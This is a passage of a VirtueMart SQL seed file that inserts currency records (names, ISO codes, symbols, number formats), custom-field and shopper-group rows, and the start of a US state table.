'zł', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (116, 1, 'Paraguayan guaraní', '', 'PYG', 600, 0, '₲', '0', '', '.', '{symbol} {number}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (117, 1, 'Qatari riyal', '', 'QAR', 634, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (118, 1, 'Romanian leu', '', 'RON', 946, 0, 'lei', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (119, 1, 'Rwandan franc', '', 'RWF', 646, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (120, 1, 'Saudi riyal', '', 'SAR', 682, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (121, 1, 'Solomon Islands dollar', '', 'SBD', 90, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (122, 1, 'Seychellois rupee', '', 'SCR', 690, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (124, 1, 'Swedish krona', '', 'SEK', 752, 0, 'kr', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (125, 1, 'Singapore dollar', '', 'SGD', 702, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (126, 1, 'Saint Helenian pound', '', 'SHP', 654, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (127, 1, 'Sierra Leonean leone', '', 'SLL', 694, 0, 'Le', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (128, 1, 'Somali shilling', '', 'SOS', 706, 0, 'S', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (130, 1, 'São Tomé and Príncipe dobra', '', 'STD', 678, 0, 'Db', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (131, 1, 'Russian ruble', '', 'RUB', 643, 0, 'руб', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (132, 1, 'Salvadoran colón', '', 'SVC', 222, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (133, 1, 'Syrian pound', '', 'SYP', 760, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (134, 1, 'Swazi lilangeni', '', 'SZL', 748, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (135, 1, 'Thai baht', '', 'THB', 764, 0, '฿', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (136, 1, 'Tunisian dinar', '', 'TND', 788, 0, 'د.ت', '3', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (137, 1, 'Tongan paʻanga', '', 'TOP', 776, 0, 'T$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (139, 1, 'Turkish new lira', '', 'TRY', 949, 0, 'YTL', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (140, 1, 'Trinidad and Tobago dollar', '', 'TTD', 780, 0, 'TT$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (141, 1, 'New Taiwan dollar', '', 'TWD', 901, 0, 'NT$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (142, 1, 'Tanzanian shilling', '', 'TZS', 834, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (144, 1, 'United States dollar', '', 'USD', 840, 0, '$', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (147, 1, 'Vietnamese Dong', '', 'VND', 704, 0, '₫', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (148, 1, 'Vanuatu vatu', '', 'VUV', 548, 0, 'Vt', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (149, 1, 'Samoan tala', '', 'WST', 882, 0, 'T', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (151, 1, 'Yemeni rial', '', 'YER', 886, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (152, 1, 'Serbian dinar', '', 'RSD', 941, 0, 'Дин.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (153, 1, 'South African rand', '', 'ZAR', 710, 0, 'R', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (154, 1, 'Zambian kwacha', '', 'ZMK', 894, 0, 'ZK', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (156, 1, 'Zimbabwean dollar', '', 'ZWD', 932, 0, 'Z$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (158, 1, 'Armenian dram', '', 'AMD', 51, 0, 'դր.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (159, 1, 'Myanmar kyat', '', 'MMK', 104, 0, 'K', '2', ',', '', '{number} {symbol}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (160, 1, 'Croatian kuna', '', 'HRK', 191, 0, 'kn', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (161, 1, 'Eritrean nakfa', '', 'ERN', 232, 0, 'Nfk', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (162, 1, 'Djiboutian franc', '', 'DJF', 262, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (163, 1, 'Icelandic króna', '', 'ISK', 352, 0, 'kr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (164, 1, 'Kazakhstani tenge', '', 'KZT', 398, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (165, 1, 'Kyrgyzstani som', '', 'KGS', 417, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (166, 1, 'Latvian lats', '', 'LVL', 428, 0, 'Ls', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (167, 1, 'Lithuanian litas', '', 'LTL', 440, 0, 'Lt', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (168, 1, 'Mexican peso', '', 'MXN', 484, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (169, 1, 'Moldovan leu', '', 'MDL', 498, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (170, 1, 'Namibian dollar', '', 'NAD', 516, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (171, 1, 'Nicaraguan córdoba', '', 'NIO', 558, 0, 'C$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (172, 1, 'Ugandan shilling', '', 'UGX', 800, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (173, 1, 'Macedonian denar', '', 'MKD', 807, 0, 'ден', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (174, 1, 'Uruguayan peso', '', 'UYU', 858, 0, '$', '0', '', '', '{symbol}number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (175, 1, 'Uzbekistani som', '', 'UZS', 860, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (176, 1, 'Azerbaijani manat', '', 'AZN', 934, 0, 'ман', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (177, 1, 'Ghanaian cedi', '', 'GHS', 936, 0, '₵', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (178, 1, 'Venezuelan bolívar', '', 'VEF', 937, 0, 'Bs', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (179, 1, 'Sudanese pound', '', 'SDG', 938, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (180, 1, 'Uruguay Peso', '', 'UYI', 940, 0, 'UYI', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (181, 1, 'Mozambican metical', '', 'MZN', 943, 0, 'MT', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (182, 1, 'WIR Euro', '', 'CHE', 947, 0, '€', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (183, 1, 'WIR Franc', '', 'CHW', 948, 0, 'CHW', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (184, 1, 'Central African CFA franc', '', 'XAF', 950, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (185, 1, 'East Caribbean dollar', '', 'XCD', 951, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (186, 1, 'West African CFA franc', '', 'XOF', 952, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (187, 1, 'CFP franc', '', 'XPF', 953, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (188, 1, 'Surinamese dollar', '', 'SRD', 968, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (189, 1, 'Malagasy ariary', '', 'MGA', 969, 0, 'MGA', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (190, 1, 'Unidad de Valor Real', '', 'COU', 970, 0, 'COU', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (191, 1, 'Afghan afghani', '', 'AFN', 971, 0, '؋', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (192, 1, 'Tajikistani somoni', '', 'TJS', 972, 0, 'ЅМ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (193, 1, 'Angolan kwanza', '', 'AOA', 973, 0, 'Kz', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (194, 1, 'Belarusian ruble', '', 'BYR', 974, 0, 'p.', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (195, 1, 'Bulgarian lev', '', 'BGN', 975, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (196, 1, 'Congolese franc', '', 'CDF', 976, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (197, 1, 'Bosnia and Herzegovina convert', '', 'BAM', 977, 0, 'KM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (198, 1, 'Mexican Unid', '', 'MXV', 979, 0, 'MXV', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (199, 1, 'Ukrainian hryvnia', '', 'UAH', 980, 0, '₴', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (200, 1, 'Georgian lari', '', 'GEL', 981, 0, 'ლ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (201, 1, 'Mvdol', '', 'BOV', 984, 0, 'BOV', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- -- Dumping data for table `#__virtuemart_customs` -- INSERT INTO `#__virtuemart_customs` ( `virtuemart_custom_id`, `custom_parent_id`, `admin_only`, `custom_title`, `custom_tip`, `custom_value`, `custom_field_desc`, `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1,0, 0, 'COM_VIRTUEMART_RELATED_PRODUCTS', 'COM_VIRTUEMART_RELATED_PRODUCTS_TIP', '', 'COM_VIRTUEMART_RELATED_PRODUCTS_DESC', 'R', 0, 0, 0, 1, '2011-05-25 21:52:43', 62, '2011-05-25 21:52:43', 62, '0000-00-00 00:00:00', 0), (2,0, 0, 'COM_VIRTUEMART_RELATED_CATEGORIES', 'COM_VIRTUEMART_RELATED_CATEGORIES_TIP', NULL, 'COM_VIRTUEMART_RELATED_CATEGORIES_DESC', 'Z', 0, 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`, `published`) VALUES (2, 1, 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT', 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_DESCR', 1, 1, 1), (1, 1, 'COM_VIRTUEMART_SHOPPERGROUP_GUEST', 'COM_VIRTUEMART_SHOPPERGROUP_GUEST_DESCR', 2, 1, 1); -- -- Dumping data for table `#__virtuemart_states` -- INSERT INTO `#__virtuemart_states` (`virtuemart_state_id`, `virtuemart_vendor_id`, `virtuemart_country_id`, `virtuemart_worldzone_id`, `state_name`, `state_3_code`, `state_2_code`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, 223, 0, 'Alabama', 'ALA', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (2, 1, 223, 0, 'Alaska', 'ALK', 'AK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (3, 1, 223, 0, 'Arizona', 'ARZ', 'AZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 1, 223, 0, 'Arkansas', 'ARK', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 1, 223, 0, 'California', 'CAL', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (6, 1, 223, 0, 'Colorado', 'COL', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 1, 223, 0, 'Connecticut', 'CCT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (8, 1, 223, 0, 'Delaware', 'DEL', 'DE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 1, 223, 0, 'District Of Columbia', 'DOC', 'DC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 1, 223, 0, 'Florida', 'FLO', 'FL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 1, 223, 0, 'Georgia', 'GEA', 'GA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 1, 223, 0, 'Hawaii', 'HWI', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (13, 1, 223, 0, 'Idaho', 'IDA', 'ID', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (14, 1, 223, 0, 'Illinois', 'ILL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 1, 223, 0, 'Indiana', 'IND', 'IN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 1, 223, 0, 'Iowa', 'IOA', 'IA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 1, 223, 0, 'Kansas', 'KAS', 'KS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 1, 223, 0, 'Kentucky', 'KTY', 'KY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 1, 223, 0, 'Louisiana', 'LOA', 'LA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 1, 223, 0, 'Maine', 'MAI', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 1, 223, 0, 'Maryland', 'MLD', 'MD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 1, 223, 0, 'Massachusetts', 'MSA', 'MA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (23, 1, 223, 0, 'Michigan', 'MIC', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 1, 223, 0, 'Minnesota', 'MIN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 223, 0, 'Mississippi', 'MIS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 223, 0, 'Missouri', 'MIO', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (27, 1, 223, 0, 'Montana', 'MOT', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (28, 1, 223, 0, 'Nebraska', 'NEB', 'NE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (29, 1, 223, 0, 'Nevada', 'NEV', 'NV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (30, 1, 223, 0, 'New Hampshire', 'NEH', 'NH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (31, 1, 223, 0, 'New Jersey', 'NEJ', 'NJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (32, 1, 223, 0, 'New Mexico', 'NEM', 'NM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (33, 1, 223, 0, 'New York', 'NEY', 'NY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (34, 1, 223, 0, 'North Carolina', 'NOC', 'NC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (35, 1, 223, 0, 'North Dakota', 'NOD', 'ND', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (36, 1, 223, 0, 'Ohio', 'OHI', 'OH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (37, 1, 223, 0, 'Oklahoma', 'OKL', 'OK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (38, 1, 223, 0, 'Oregon', 'ORN', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (39, 1, 223, 0, 'Pennsylvania', 'PEA', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (40, 1, 223, 0, 'Rhode Island', 'RHI', 'RI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (41, 1, 223, 0, 'South Carolina', 'SOC', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (42, 1, 223, 0, 'South Dakota', 'SOD', 'SD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (43, 1, 223, 0, 'Tennessee', 'TEN', 'TN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (44, 1, 223, 0, 'Texas', 'TXS', 'TX', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (45, 1, 223, 0, 'Utah', 'UTA', 'UT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (46, 1, 223, 0, 'Vermont', 'VMT', 'VT', 0, 0, 1, 